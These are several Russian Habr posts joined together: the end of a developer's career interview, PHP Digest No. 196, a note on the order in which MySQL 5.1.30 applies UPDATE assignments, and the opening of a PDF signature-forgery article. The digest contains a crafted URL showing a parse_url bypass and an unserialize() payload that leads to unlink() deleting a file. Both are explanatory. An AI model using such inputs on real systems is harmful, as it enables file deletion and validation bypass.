**— Что занимало тебя весь этот год? Ты же, наверное, не только Java изучал?**
— Понятное дело, что это не сухое изучение языка — везде нужны какие-то паттерны, какие-то решения. Если просто писать код, то это будет мало чем отличаться от обычной автогенерации того же кода в IDEA. Книжки читал. Есть, например, такая книга отличная — «Приёмы объектно-ориентированного проектирования. Паттерны проектирования», «Банда четырёх» (Gang of Four) написала.
Я пытался их (паттерны) понять. Мне сказали, что это отличная книга. Старшие коллеги говорят: «Почитай — будет полезно». Но эту книжку, я думаю, нужно было читать хотя бы после года, чтобы понимать, о чём там вообще написано. Но мне сказали, что будет полезно. И я её прочитал, но не всю. Наверное, только треть осилил. Понял, что дальше мне будет понятно ровно столько, сколько и сейчас. То есть ничего.[5]
**— Из года обучения сколько заняли сами курсы? Весь год ходил на курсы и самообразовывался?**
— Шесть месяцев заняли курсы. Когда закончил IT-Академию, у меня была конкретная цель — попасть в EPAM. Мне предлагали какие-то маленькие компании, типа на стажировки, а потом на трудоустройство. Но вот у меня знакомые работали в EPAM. И я много слышал о том, что это хорошая компания для становления: понимать сами процессы, бизнес-процессы. И да, там действительно довольно строго поставлены именно эти сами методологии. То есть цель была попасть именно туда.
Между окончанием курсов, IT-академией и началом внутренних курсов была достаточно большая разбежка по времени. Сразу попасть в лабораторию «епамовскую» я даже и не планировал, потому что нужны были какие-то знания. А я же говорю, окончил курсы. А вот как их окончил — сам не понял. Поэтому нужно было ещё что-то понять: сначала написать, а потом понять, почему это заработало.
**— Но в итоге ты в «лабу» попал?**
— Да, ну после их внутренних курсов я попал в лабораторию.
**— И уже через «лабу» твоей первой работой стала EPAM?**
— Да.
**— Чем ты там занимался и сколько в целом проработал?**
— В EPAM проработал где-то два с половиной года. Сразу попал в самый большой проект Thomson Reuters. Раньше это был просто такой проект на EPAM. Потом всё переросло в самый большой юнит. А сейчас Thomson Reuters — самый крупный заказчик. И так получилось, что я ещё попал в их самый крупный проект. Я даже и не скажу, сколько он уже пишется, сколько он в уже в активной разработке. Но когда я туда пришёл, я понял ещё меньше, чем я понимал на курсах и в лаборатории. Там всё было какое-то «своё». Мне сказали, что там будут классные технологии, стек такой большой… и фронт, и бэк, и Spring, и Hibernate, и EclipseLink есть.
**— Короче, всё, что хочешь: облако, микросервисы…?**
— Да. А когда ты только-только начинаешь, написал первое «Hello, world?», и думаешь: «Таак, чтобы дальше изучать?» Ну, наверное, machine learning!
> Написал первое «Hello, world?», и думаешь: «Таак, чтобы дальше изучать?» Ну, наверное, machine learning!
>
>
**— Или сразу ракету запущу на Марс?**
— Да, в AI пойду что-то творить! Ну всегда такое желание есть. Вроде как недавно научился переменные складывать между собой. Всё, следующий шаг — написать свою нейронную сеть. Естественно, меня это так привлекло: столько технологий, столькому научусь! Меня заперли на этот проект. Я открыл и понял, что ничего не понимаю в этом. И где-то, наверное, месяцев семь я фиксил баги. Причём там даже это было делать проблематично, потому что проект большой: в организации работы использовали правильную методологию, поэтому чтобы просто исправить баг, нужно было и митинги, и апрувы получить. И шло это всё со стороны заказчика достаточно долго.
**— Знаю, что в «лабы» EPAM-а очень сложно попасть, потому что там очень сильный отбор по английскому языку. У тебя с этим всё гуд было?**
— В целом да. Я никогда не изучал английский язык целенаправленно. Он был в школе, и я иногда присутствовал на занятиях. И то, наверное, только половину времени. То есть языками никогда не увлекался, но так получилось, что я много игрушек в детстве повидал. И все же они в основном на английском были, потому что… ну потому что пиратские. Потому что лицензионные никто не покупал почти.
Это потом мне, естественно, сказали, что нужен будет английский. А изучать его мне особо негде было. Потому что подтягивать сразу и техническую часть, и часть с английским языком — проблематично. Высасывает очень много энергии. Я пытался просто книжечки читать и программировать. Если в одном шло хорошо, то в другом — уже не так хорошо. Поэтому я просто перевёл весь свой environment на английский язык, насколько это было возможным. Слава богу, у меня тогда уже был смарт-телевизор. Он перешёл на английский. И все программы, и плейлисты. Телефон тоже перевёл на английский. Литература тоже по максимуму смотрелась на английском. Ну и, понятное дело, что из Stack Overflow — это наше всё — тоже всё шло на английском.
Все три месяца, пока шли курсы, я, как мог, по максимуму тянул информацию для себя именно из англоязычной части интернета. Ну, наверное, помогло — более-менее собеседование прошёл.
**— Сколько тебе было, когда начал интенсивно обучаться программированию?**
— Мне было 28-29… наверное, 30 лет.
**— Не было какого-то хейта в духе: «Куда ты попёрся?» Как к решению отнеслись родственники и друзья?**
— Из родных, близких и круга наиболее близкого к моей семье меня, естественно, поддержали. Ну потому что все привыкли к тому, что я постоянно меняю место работы и увлечения: то я по горкам на велосипедах гонял и ломал себе конечности, то тайским боксом занимался после института. И не то чтобы для здоровья пошёл заниматься, мне же надо всё по максимуму. Потом пошёл к соревнованиям готовиться по боксу. И доготовился настолько, что после этого больше им никогда не занимался. Поэтому отнеслись спокойно.
А вот на работе коллеги… В 18:00 часов заканчивалась работа, а в 18:30 начинались курсы — нужно было как раз полчаса, чтобы доехать. Вот там было много негатива. Мне говорили, что не получится: «Ну 30 лет. У тебя не тот склад мышления, там нужно образование…» — вот эти все стереотипы, что нужна математика, теория алгоритмов.
**— Можешь показать им фак!**
— Да! (смеётся). Ну вот «не тот склад ума, и вряд ли мне что-то это даст». Говорили, что курсы — напрасная трата денег и времени, что лучше бы я продолжал работать на прежнем месте. Я даже в какой-то момент к этим словам прислушался и пошёл по собеседованиям по своему предыдущему профилю. И слава богу, что меня тогда как раз кризис стукнул: в тот момент было очень тяжело найти работу — многим контракты не продлевали. В поисках работы прошатался по рынку в целом где-то месяца два. Меня не брали.
> Говорили, что курсы — напрасная трата денег и времени, что лучше бы я продолжал работать на прежнем месте.
>
>
Потом взяли на одно место. И в принципе там даже достаточно неплохо было, сравнивая с моим предыдущим местом работы. Но в тот момент как раз позвонили из EPAM-а и сказали, что берут в лабораторию. Ну и, естественно, от первого варианта я отказался. В лабораторию меня брали на бесплатно, а там — за деньги. Но я подумал, что в EPAM может выгореть, есть какая-то перспектива. Решил: почему бы не попробовать, если берут? Пускай этот кризис пройдёт. Если что — найду себе потом работу. Слава богу, что-то отложить себе успел: на полгода или годик хватило бы.
**— Когда переходил в EPAM и вообще в IT, рейт у тебя был, как у джуна. Сильно ли это отличалось от того, что ты зарабатывал на своей основной работе?**
— Ну да, прилично.
**— Были из-за этого опасения, что не туда идёшь?**
— Опасений, наверное, не было, потому что к тому моменту мне уже начало нравиться. Уже не просто какие-то циклики писал, я уже мог сайтик написать. То есть мог написать и, так скажем, дать другим людям посмотреть, потрогать. Мне было очень интересно и по кайфу.
Что-то писал и понимал, что я делаю. Ну, начинал понимать, что я делаю. Появлялся интерес. У меня и сейчас нет предпочтений в плане «там на $500 больше платят — всё, надо идти туда». Абсолютно нет. Если работа интересна, коллектив хороший, то смысл её менять? По зарплатам в IT когда-то достиг психологической планки: если ниже, то будет какой-то дискомфорт, но тем не менее…
Сейчас HR-ры на собеседованиях очень часто спрашивают: «Что у вас на первом месте: зарплата, коллектив, проект, технологии?» И вот изначально — да, вопрос зарплаты был сверху, а потом опускался всё ниже и ниже. Мне настолько уже незначительно, слава богу. Но поначалу было дискомфортно, потому что зарплата отличалась не «на», а «в» раз пять, наверное, в шесть. Раньше доход от сезона зависел — я в торговле работал. Поэтому если там всё хорошо в сезон, тогда раз в пять.
То есть это было достаточно дискомфортно, когда понимал, что получаю зарплату и нужно сейчас заплатить за коммунальные… Ни для кого не секрет, что у джуна очень низкий рейт. Ну и ещё вхождение. Особенно таких возрастных, например, как я. Не знаю, как это выглядит со стороны работодателя, возможно, такой человек будет более лоялен. Но с другой стороны, это какой-то переученный человек.
**— Хочешь сказать, что эйджизм сказывается на рейте?**
— Не знаю. Я думаю, что, возможно, и так.
**— То есть каких-то конкретных примеров на своём опыте ты не ощутил?**
— Я как-то и не пытался особенно вдаваться вот именно в рамках Java.
**— За два с половиной года в EPAM-e до кого успел дослужиться? Почему сменил работу?**
— В EPAM-е есть строгая система рейтингов. Вот у меня был d2 — это Middle. Потом перешёл на проект и стал вроде как d2 key developer.
**— У тебя d2 было с ходу после «лабы»?**
— Понятное дело, нет. Первая возможность получить d2 появилась где-то через месяцев пять, но я пошёл получать только через месяцев девять. В EPAM очень интересная система: когда появляется возможность перейти на d2, можно было получить промоушен по тайтлу. Свой, скажем так, рейтинг. И к этому приурочивался промоушен финансовый. Наслушавшись своих старших коллег, сначала по максимуму получал промоушен финансовый: где-то технологии выучил, курсы закончил. Потом шёл на d2, к которому также прилагался промоушен.
**— Лайфхак?**
— Не знаю, насколько лайфхак, но меня как бы устраивало (смеётся). А ушёл просто потому, что проект Thomson Reuters — это большущий такой юнит. Очень тяжело было развернуться. Он давно был запущен, архитектура строго выстроена. И добавление новой функциональности было минорным, мало отличалось от уже существующей. Грубо говоря, полмодуля берёшь, копируешь и просто немножечко рефакторишь, меняя название.
**— EPAM же большая, почему не перешёл из одного проекта в другой в рамках одной компании?**
— Проект Thomson Reuters располагался прямо через дорогу от моего дома. Если нужно было к 9:00 на работу, то в 8:55 я выходил из дома: по переходу — и в бизнес-центр, где мы и располагались. И это определённый отпечаток накладывает: уже не хотелось куда-то час ездить. Это первая причина.
В здании находилось несколько проектов, и на все ходил собеседоваться. Они в принципе не сильно отличались по стеку, а в том момент для меня было критичным наличие прямо новых-новых технологий. Тогда я ещё не особо понимал в динамике и развитии проекта, насколько он интересен для инвестора. Будут ли туда какие-то новые фишки добавлять, что-то выпиливать, рефакторить. Может, там будут монолитные микросервисы как-то разбивать?
Мне был интересен Spring, Hibernate, но это стандартный стек. Плюс там по фронтенду можно было Angular какой-то себе выбрать. И вот так было примерно во всех проектах на Thomson Reuters. Это я уже потом понял, что так оно везде, но тогда искал чего-то такого прямо нового-нового и поэтому ушёл.
**— Следующее место работы — Softeco. Долго его искал? Сколько собеседований прошёл, прежде чем устроился? По факту была первая полноценная сессия собеседования в IT?**
— Нет, первая полноценная сессия собеседования была, опять же, для промоушена. К тому моменту в планах была свадьба. Мне уже не хотелось откладывать 80-90% зарплаты. Хотелось, чтобы было как-то посвободнее. Ну потому что и кушать хочется, и свадьбу.
> Мне уже не хотелось откладывать 80-90% зарплаты. Хотелось, чтобы было как-то посвободнее. Ну потому что и кушать хочется, и свадьбу.
>
>
**— Это в каком году?**
— Это был последний год работы в EPAM. Тогда я действительно активно ходил по собеседованиям, собирал офферы. Но не для того, чтобы ими шантажировать… Я так, пришёл спросить, не хотят ли повысить зарплату. Мне сказали: «Ну как бы не то чтобы очень хотим». И тогда я уже сказал, что есть офферы.
**— Многие так делают, все всё понимают, за это блеймить не буду. Мне интересно, а что ты говорил на «собесах», когда приходил? Там же спрашивали, мол, готовы ли пойти работать? И ты говорил: «Просто оффер хочу поднять»?**
— Не, я, конечно, не говорил, что хочу поднять оффер. Мне бы тогда сказали: «ну тогда не получится, мы вам просто не отправим оффер». Потому что смысл на меня тратить время, если я к ним не планирую идти?
**— То есть ты юлил?**
— Нет, я не юлил. Уже была идея сменить проект. Правда, вряд ли я там конкретную компанию рассматривал, но вот не исключал такую вероятность, если будет что-то действительно интересное. Иногда очень приятно просто пообщаться с HR-ом, с техническим специалистом. И вот ты уже понимаешь: а почему бы не сменить компанию? Здесь действительно может быть интересно и хорошо.
**— Какие бы ключевые точки выделил в своём становлении тем программистом, которым сейчас являешься?**
— Когда выбирал между фронтендом и бэкендом, тогда ещё заканчивал лабораторию, пошёл на первый свой проект — Thomson Reuters русский. И первые три месяца был очень воодушевлён новым проектом, новыми людьми и тем, что в продакшене. Работал усердно, а потом понял: как тут усердно не работай, это всё будет достаточно долго. Потому что и процесс согласования долгий и коды review — небыстрое дело. Хотелось найти себе увлечение, чтобы занять свободное время. И я решил посмотреть в сторону фронтенда.
Потому что исправление багов не очень мне интересно было. Потому что это и бэкенд и фронтенд. Там же юзер что-то не видит, например, во фронтенде, и для него уже это ошибка. А это ошибка, например, у меня на сервере. Вот чтобы до этого докопаться, мне было бы проще это сделать, если бы разбирался в том, что там происходит наверху. Сначала прошёл онлайн-курсы по JavaScript — не помню, как точно сайт называется. Более-менее понял, как эта штука работает, и решил попробовать ещё Angular, на тот момент уже второй.
**— Уже лучше, чем первый.**
— Ну, наверное. Я с первым вообще не имел дела. В лаборатории из нашей группы ушёл человек, который научился на «Джаве» и пошёл во фронтенд. Вот он тогда мне и сказал: «Второй Angular можешь посмотреть». Я посмотрел и даже написал несколько своих приложений. И в целом интересно было. Тот же, грубо говоря, опыт TypeScript.
**— Но ты же остался в бэкенде?**
— Да. Так вот потому я в нём и остался. После этого у меня была такая немножко смена деятельности модуля внутри моего проекта. Сначала работал над модулем, который уведомления рассылает, email и всё в этом духе. И перешёл на модуль поиска — это, понятно, более нагруженная система, и она постоянно задействована всеми другими модулями. Работы мне прибавилось. И, опять же, изначально это тяжело — многое непонятно.
Потом всё как-то устаканивается, и уже более-менее ориентируешься. И когда это устаканилось, решил: «Так, у меня незаконченное дело осталось с фронтендом, с Angular». А он, Angular, в тот момент уже был четвёртый. Я вроде как не сильно понял, что произошло и думаю: дай опять спрошу у коллеги своего. Он говорит: «Ну да, Angular — это круто, но сейчас очень модно React».
И вот у меня диссонанс начал возникать. То есть год назад я начал учить Angular, вроде что-то из мира JavaScript, а потом мне говорят: «Можно учить Angular четвёртый, если хочешь апгрейдить, но там уже есть React». Думаю: ну ладно, хорошо, React, может, что-нибудь ещё из этого? Говорят: «Да! Вот сейчас как раз Nod.js, и на нём можно писать можно писать фронтенд, бэкенд». Короче, мне просто слов набросали и говорят: «Вот сейчас это модно». Год назад я даже слов ещё таких не знал. Подумал: хочу туда, где немножечко поспокойнее. И как-то так отошёл от фронтенда. Именно тогда решил, что Java всё-таки нравится больше. Там всё как-то постабильнее.
~~~~~~~~~~~~~~~~~~~~~~~~
На этом всё. Спасибо за прочтение, друзья! А вот и полная полуторачасовая видео-версия интервью. Приятного просмотра :)
P.S. Кстати, Рома сейчас активно занимается помощью в переквалификации всех нуждающихся из числа пострадавших от репрессий в Беларуси. Респект, мужик! | https://habr.com/ru/post/530146/ | null | ru | null |
# PHP Дайджест № 196 (1 – 11 января 2021)
[](https://habr.com/ru/post/536726/)
Свежая подборка со ссылками на новости и материалы. В выпуске: релиз PHP 8.0.1, MySQL движок на PHP от Vimeo и другие релизы, обновленный Enum и свежие предложения для PHP 8.1, «уязвимость» в Laminas, инструменты, статьи, видео, PHP Дайджест Live в 20:00 МСК.
Приятного чтения!
### Новости и релизы
* **[PHP 8.0.1](https://www.php.net/ChangeLog-8.php#8.0.1), [7.4.14](https://www.php.net/ChangeLog-7.php#7.4.14), [7.3.26](https://www.php.net/ChangeLog-7.php#7.3.26)** — Во всех релизах исправлена уязвимость [CVE-2020-7071](https://security.archlinux.org/CVE-2020-7071) в функции url\_parse() из-за неправильной фильтрации урлов вида `http://php.net\@aliyun.com/aaa.do`. В 8.0 и 7.4 еще дополнительно пачка исправленных багов.
*  **[Итоги года в PHP мире](https://habr.com/ru/company/skyeng/blog/535894/)** — Опрос сообщества Skyeng и PHP Digest.
* Вся документация PHP наконец-то [перенесена в Git:](https://externals.io/message/112662) — **[github.com/php/doc-base](https://github.com/php/doc-base)**!
### PHP Internals
* **[[RFC] Enumerations, Round 2](https://wiki.php.net/rfc/enumerations)** — Предложение по Enum для PHP было сильно доработано. В частности: кейсы (значения) не могут иметь методы или константы, а сам Enum может; поддерживаются трейты без свойств; в скалярных енамах вместо метода `value()` теперь просто свойство. Обзор предложения был в выпуске [№ 194](https://habr.com/ru/post/532950/) и [на стриме](https://youtu.be/i9iC58z0yHE?t=2208).
* **[[RFC] Bundling ext/simdjson into core](https://externals.io/message/112638)** — Автор предлагает забандлить в ядро PHP библиотеку [simdjson](https://github.com/simdjson/simdjson). Оно [в разы быстрее](https://github.com/php/php-src/pull/6551) чем текущее ext/json и позволяет парсить гигабайтные json за секунды.
В обсуждении указали на то, что библиотека молодая и не доступна во многих инсталяциях. Поэтому пока лучше предоставлять ее в виде PECL расширения, а забандлить позже.
* **[[RFC] Array unpacking with string keys](https://wiki.php.net/rfc/array_unpacking_string_keys)** — В PHP 5.6 была добавлена распаковка массива в аргументах:
```
variadic_function(...['apple', 'banana', 'lemon']);
```
А в PHP 7.4 то же самое в массивах:
```
$parts = ['apple', 'pear'];
$fruits = ['banana', 'orange', ...$parts, 'watermelon'];
// ['banana', 'orange', 'apple', 'pear', 'watermelon'];
```
Но оба случая не поддерживали массивы со строковыми ключами. И поскольку с добавлением именованных аргументов в PHP 8.0 уже решен первый случай, то теперь нет причин сохранять ограничение для второго.
В PHP 8.1 предлагается разрешить распаковку массивов со строковыми ключами:
```
$array1 = ['a' => 'apple', 'p' => 'pear'];
$array2 = ['b' => 'banana', 'o' => 'orange'];
$array = [...$array1, ...$array2];
// Приблизительно то же самое что:
$array = array_merge($array1, $array2);
```
* **[[PR] Use 'ENT\_QUOTES|ENT\_SUBSTITUTE' for HTML encoding and decoding functions](https://github.com/php/php-src/pull/6583)** — Автор пул-реквеста заметил, что функция `htmlspecialchars()` почти всегда используется с флагами `ENT_QUOTES` и `ENT_SUBSTITUTE`:
• ENT\_QUOTES — [WordPress](https://developer.wordpress.org/reference/functions/esc_html/)
• ENT\_QUOTES — [Blade (Laravel)](https://github.com/illuminate/support/blob/master/helpers.php#L118)
• ENT\_QUOTES | ENT\_SUBSTITUTE — [Twig (Symfony or Slim)](https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L243)
• ENT\_QUOTES | ENT\_SUBSTITUTE — [CodeIgniter](https://github.com/codeigniter4/CodeIgniter4/blob/develop/system/ThirdParty/Escaper/Escaper.php#L120)
• ENT\_QUOTES | ENT\_SUBSTITUTE — [CakePHP](https://github.com/cakephp/cakephp/blob/master/src/Core/functions.php#L67)
• ENT\_QUOTES | ENT\_SUBSTITUTE — [Yii](https://github.com/yiisoft/yii2/blob/master/framework/helpers/BaseHtml.php#L111)
Предлагается сделать эти флаги включенными по умолчанию.
*  [[RFC] Restrict $GLOBALS usage](https://wiki.php.net/rfc/restrict_globals_usage) — Принято единогласно. Использование `$GLOBALS` начиная с PHP 8.1
**будет ограничено**
Продолжат работать чтение, запись, isset и unset:
```
$GLOBALS['x'] = 1;
echo $GLOBALS['x']
isset($GLOBALS['x']);
unset($GLOBALS['x']);
```
А вот попытка изменить саму переменную `$GLOBALS` вызовет ошибку:
```
$GLOBALS = [];
$GLOBALS =& $x;
$x =& $GLOBALS;
unset($GLOBALS);
```
Также ошибка будет, если передать `$GLOBALS` по ссылке в функцию:
```
asort($GLOBALS);
// > Compile-time error
```
Все это упрощает внутренности PHP и улучшает производительность операций с массивами в PHP.
* **[[RFC] Concepts to improve mysqli extension](https://wiki.php.net/rfc/improve_mysqli)** — Рекомендованным механизмом для доступа к БД в PHP является PDO. Тем не менее во многих приложениях используется [mysqli](https://www.php.net/manual/en/intro.mysqli.php). У последнего есть ряд старых проблем, которые автор и предлагает решить.
* **[[RFC] Add array\_is\_list(array $array): bool](https://wiki.php.net/rfc/is_list)** — Стартовало голосование по добавлению функции, которая вернет `true`, если передать в нее массив с последовательными целочисленными ключами `0, 1, 2 ... count($value)-1`. Функция переименована из `is_list()` в `array_is_list()`. О причинах было подробнее [на стриме](https://youtu.be/mvjj_YX_BqQ?t=1946).
В Symfony уже успели сделать [полифил для PHP 8.1](https://github.com/symfony/polyfill-php81) с этой функцией.
* В PHP 8.1 добавлены супербыстрые алгоритмы хеширования: **[xxHash](https://php.watch/versions/8.1/xxHash) и [MurmurHash3](https://php.watch/versions/8.1/MurmurHash3)**.
### Инструменты
*  [Dump Debugging Evolved — Ray](https://freek.dev/1868-introducing-ray-a-debugging-tool-for-pragmatic-developers) — Ребятки из Spatie представили свое приложение для отладки — [Ray](https://myray.app/). Добавляете вызовы `ray($anything)` в своем коде, и при запуске PHP-скрипта оно красиво отображается в отдельном десктопном приложении.
Если вы осилили Xdebug, то вряд ли это имеет смысл. А если отлаживаете в стиле `var_dump(...)/die()`, то может быть интересно.
Смотрите подробный  [видеообзор на английском](https://www.youtube.com/watch?v=8F2SrxB4O2E) или на русском в ближайшем [PHP Дайджест Live](#digest-live).
* [AdamGaskins/barcoder](https://github.com/AdamGaskins/barcoder) — Пакет с лаконичным интерфейсом для генерации SVG-картинок штрихкодов (QR, Datamatrix, и т.п.).
* [vimeo/php-mysql-engine](https://github.com/vimeo/php-mysql-engine) — MySQL движок на чистом PHP. Пригодится, если при тестировании вы обращаетесь к базе и хотите ускорить запуск тестов, эмулируя MySQL в памяти. Библиотека расширяет класс PDO и позволяет вызывать обычные методы PDO MySQL. Аккуратно: [есть ограничения](https://github.com/vimeo/php-mysql-engine#caveat-emptor).
* [jvoisin/snuffleupagus](https://github.com/jvoisin/snuffleupagus) — PHP-расширение блокирует запуск потенциально небезопасного кода в рантайме и избавляет от многих потенциальных уязвимоcтей. Изначально разработан для хостеров, которые, естественно, не могут редактировать код своих клиентов, но хотят сделать его безопаснее.
* [mbunge/php-attributes](https://github.com/mbunge/php-attributes) — Пакет для автоматического резолва/инициализации [атрибутов PHP 8](https://www.php.net/manual/ru/language.attributes.php). Можно просто подключить автозагрузчик или использовать резолвер вручную.
* [mlocati/docker-php-extension-installer](https://github.com/mlocati/docker-php-extension-installer) — Инструмент упрощает установку PHP-расширений в Docker.
* [php-opencv/php-opencv](https://github.com/php-opencv/php-opencv) — Расширение для компьютерного зрения (распознавание лиц, объектов, и т. п.) и машинного обучения теперь с поддержкой PHP 8. [Примеры](https://github.com/php-opencv/php-opencv-examples) использования.
### Symfony
* [5 новых фишек, которые можно делать на Symfony 5.2 + PHP 8.0](https://tomasvotruba.com/blog/2020/12/21/5-new-combos-opened-by-symfony-52-and-php-80/)
* [How to create service bundles for a Symfony application](https://macrini.medium.com/how-to-create-service-bundles-for-a-symfony-application-f266ecf01fca)
* [Неделя Symfony #732 (4-10 января 2021)](https://symfony.com/blog/a-week-of-symfony-732-4-10-january-2021)
* [Итоги 2020 для Symfony](https://symfony.com/blog/symfony-2020-year-in-review)
### Laravel
* [Создаём REST API с помощью](https://phpprofi.ru/blogs/post/121) [tailflow/laravel-orion](https://github.com/tailflow/laravel-orion).
*  [Laravel–Дайджест (28 декабря 2020 – 10 января 2021)](https://habr.com/ru/post/536628/)
* [lorisleiva/laravel-actions 2.0](https://github.com/lorisleiva/laravel-actions) — Минипакет предлагает организацию приложения в виде классов-экшнов.
*  [Подкаст Тейлора Laravel Snippet #26](https://blog.laravel.com/laravel-snippet-26) — Jetstream 2.x, Forge Circles, Spark «Next», React SPAs.
### Yii
*  [Новости Yii 2020, выпуск 8](https://habr.com/ru/post/535580/)
*  [E-commerce сайт на Yii 2](https://www.youtube.com/watch?v=eQdDBhQpU9o&list=PLLQuc_7jk__UvpbpU3no5zveJQAwID48B) — Летсплей на 16 часов. Результат [thecodeholic/yii2-ecommerce-website](https://github.com/thecodeholic/yii2-ecommerce-website).
### Zend / Laminas
* [Итоги 2020 для Laminas Project](https://www.zend.com/blog/laminas-2020)
* [В Zend Framework / Laminas зарепортили уязвимость](https://www.bleepingcomputer.com/news/security/zend-framework-disputes-rce-vulnerability-issues-patch/) — Суть «уязвимости» можно понять из этого примера:
```
class MyClassWithToString {
public $name;
public function __construct($name) {
$this->name = $name;
}
public function __toString() {
return (string) $this->name;
}
}
$input = unserialize('O:19:"MyClassWithToString":1:{s:4:"name";s:15:"/tmp/etc/passwd";}');
if ($input instanceof MyClassWithToString) {
unlink($input);
}
```
Во фреймворк запушили [исправление](https://github.com/laminas/laminas-http/pull/48) с проверкой на `is_string()` перед тем как делать `unlink()`. Но если посмотреть внимательнее, то уязвимость касается десериализации данных от пользователя. А на php.net красным написано, что не стоит использовать `unserializie()` в подобных случаях.
Более того, [с 2017 года](https://externals.io/message/100147) ошибки десериализации больше не считаются ошибками безопасности, просто потому что `unserialize()` никогда не будет безопасным (не только в PHP).
> PSA: Don't use unserialize() on untrusted input (see <https://t.co/8GZb1xqE1u>)
> PHP will no longer treat unserialize() bugs are security bugs.
>
> — Nikita Popov (@nikita\_ppv) [August 10, 2017](https://twitter.com/nikita_ppv/status/895571304325062656)
Вот еще свежий [пост об эксплуатации подобных багов](https://blog.redteam-pentesting.de/2021/deserialization-gadget-chain/) на примере Yii.
### Async PHP
* [Swoole PHP 4.6.0](https://www.swoole.co.uk/article/v4-6-0-released) — В свежем релизе асинхронного движка добавлен нативный асинхронный сURL.
* [amphp/mysql-dbal](https://github.com/amphp/mysql-dbal) — Концепт асинхронного драйвера для Doctrine DBAL/ORM на базе Amphp v3.
### Статьи
* [Масштабирование PHP FPM в Kubernetes в зависимости от нагрузки](https://blog.wyrihaximus.net/2021/01/scaling-php-fpm-based-on-utilization-demand-on-kubernetes/).
* [Свойства объекта и иммутабельность](https://peakd.com/hive-168588/@crell/object-properties-and-immutability) — Подробный анализ от Лари Гарфильда того, как ограничение на запись могут быть реализованы в PHP. В качестве вывода предлагает добавить раздельные модификаторы доступа на чтение и запись, то есть отдельные public/private для get и set
и clone-with.
Во [второй части](https://peakd.com/hive-168588/@crell/object-properties-part-2-examples) Лари рассматривает все идеи из первого поста на примере PSR-7.
* [Фундаментальный пост о работе с двоичными и битовыми данными в PHP](https://thephp.website/en/issue/bitwise-php/)
*  [У Вас проблемы с legacy — значит, Вам повезло! Распил монолита на PHP](https://habr.com/ru/post/536238/)
### Аудио/Видео
*  [PHP Дайджест Live #2](https://www.youtube.com/watch?v=mvjj_YX_BqQ): асинхронный PHP в 8.1, нативные атрибуты, слоники.
*  [Прагматичное введение в Event Sourcing](https://www.youtube.com/watch?v=xHbP3bshU3U) — от автора [EventSaucePHP/EventSauce](https://github.com/EventSaucePHP/EventSauce).
*  [Видео-код-ревью от Mathhew Napoli](https://www.youtube.com/watch?v=GqUvoK7PfOA) — В этом выпуске рассматривает пакет [m50/simple](https://github.com/m50/simple).
### Сообщество
*  [60+ чатов и ютуб-каналов для PHP-разработчика](https://habr.com/ru/company/skyeng/blog/534758/), которые советуют ребята из сообщества.
* [Модель PHP-слоника для 3D принтера](https://cults3d.com/en/3d-model/various/elephpant-3d).
* [github.com/thank-you-php](https://github.com/thank-you-php/thank-you-php) — Открытое письмо благодарности PHP. Можно подписаться просто отправив пул-реквест и получить бейджик  у себя в профиле.
---
Сегодня будет третий стрим по мотивам PHP Дайджеста. Разбор новостей и ссылок из выпуска с подробностями и деталями, обзор присланного, интересное но не вошедшее в выпуск, результаты розыгрыша и новый конкурс со слониками.
Начало в 20:00 Москва, Минск / 19:00 Киев.
---
Если вы заметили ошибку или неточность — сообщите, пожалуйста, в [личку хабра](https://habrahabr.ru/conversations/pronskiy/) или [телеграм](https://t.me/pronskiy).
> Больше новостей и комментариев в Telegram-канале **[PHP Digest](https://t.me/phpdigest)**.
>
>
[Прислать ссылку](https://bit.ly/php-digest-add-link)
[Поиск ссылок по всем дайджестам](https://pronskiy.com/php-digest/)
← [Предыдущий выпуск: PHP Дайджест № 195](https://habr.com/ru/post/535308/) | https://habr.com/ru/post/536726/ | null | ru | null |
# Особенность оптимизатора MySQL 5.1.30 порядок следования таблиц в UPDATE
Добрый день. Я расскажу об одной из забавных особенностей оптимизатора MySQL 5.1.30, которая заставляет перед обновлением внимательно проверить запросы.
**Для любопытных:** «теперь SET-выражения выполняются не в порядке следования выражений слева направо, а в порядке следования обновляемых таблиц».
Хочу сразу же сказать, что автором топика я не являюсь, а является [travisbickle](https://habrahabr.ru/users/travisbickle/). Он не смог опубликовать пост из-за низкой кармы — так что все благодарности туда.
Как любой бдящий админ, я в очередной раз обновился, потыкался в разные места и решил что всё работает.
Прошел месяц и сегодня я узрел в месячном чарте рейтингов за январь одни нули…
За операцию перевода текущего рейтинга в месячный и в суммарный отвечает простенький запрос, который запускается раз в сутки
> `UPDATE
>
> xE\_tvchannels\_dyn AS t0,
>
> xE\_tvchannels\_monthrating AS t1
>
> SET
>
> t0.ratingflushed = 1233522000,
>
> t1.rating = t1.rating + t0.rating,
>
> t0.totalrating = t0.totalrating + t0.rating,
>
> t0.rating = 0
>
> WHERE
>
> t0.id = t1.cid AND
>
> t1.month = '200902' AND
>
> t0.rating > 0 AND
>
> t0.ratingflushed <1233522000
>
>
>
> \* This source code was highlighted with Source Code Highlighter. [maxshopen](https://habrahabr.ru/users/maxshopen/)`
Причина оказалось прозаична — теперь SET-выражения выполняются не в порядке следования выражений слева направо, а в порядке следования обновляемых таблиц, таким образом данный запрос честно выполнял `t0`.`ratingflushed` = 1233522000, `t0`.`rating` = 0, и только потом `t1`.`rating` = `t1`.`rating` + `t0`.`rating`.
Вылечилось, разумеется `UPDATE `xE_tvchannels_monthrating` AS `t1`, `xE_tvchannels_dyn` AS `t0``
Будьте внимательны, товарищи! | https://habr.com/ru/post/50894/ | null | ru | null |
# Несколько способов подделки PDF с цифровой подписью
*Рис. 1. Процедура инкрементального сохранения, на которой основаны цифровые подписи PDF. По результатам тестирования, это самый эффективный способ подделки документов*
Теоретически, цифровые подписи PDF надёжно удостоверяют автора документа. Но на практике обработку PDF обычно осуществляет проприетарный софт, который не совсем корректно выполняет проверку. Специалисты Рурского университета в Бохуме (Германия) описали [несколько вариантов подделки PDF-документов с цифровой подписью](https://www.pdf-insecurity.org/), которые срабатывают в большинстве программ просмотра PDF и сервисов онлайновой проверки.
Защита от всех атак обеспечивается только в единственной программе, да и та работает под Linux.
Структура PDF
=============
*Рис. 2. Структура документа PDF*
Структура документа PDF изображена на рис. 2. При инкрементальном сохранении изменений в PDF-документ добавляются новые объекты в *body*, а также новая таблица *Xref* с описанием новых объектов и новый *trailer* со ссылками на *catalog* (см. рис. 1). Каталог — это корневой объект PDF-файла, он определяет структуру документа и может дополнительно определять разрешения на доступ.
Каждый объект начинается с номера объекта и номера версии, который увеличивается при каждом обновлении объекта.
*Рис. 2. Структура объекта PDF*
Создание подписи
================
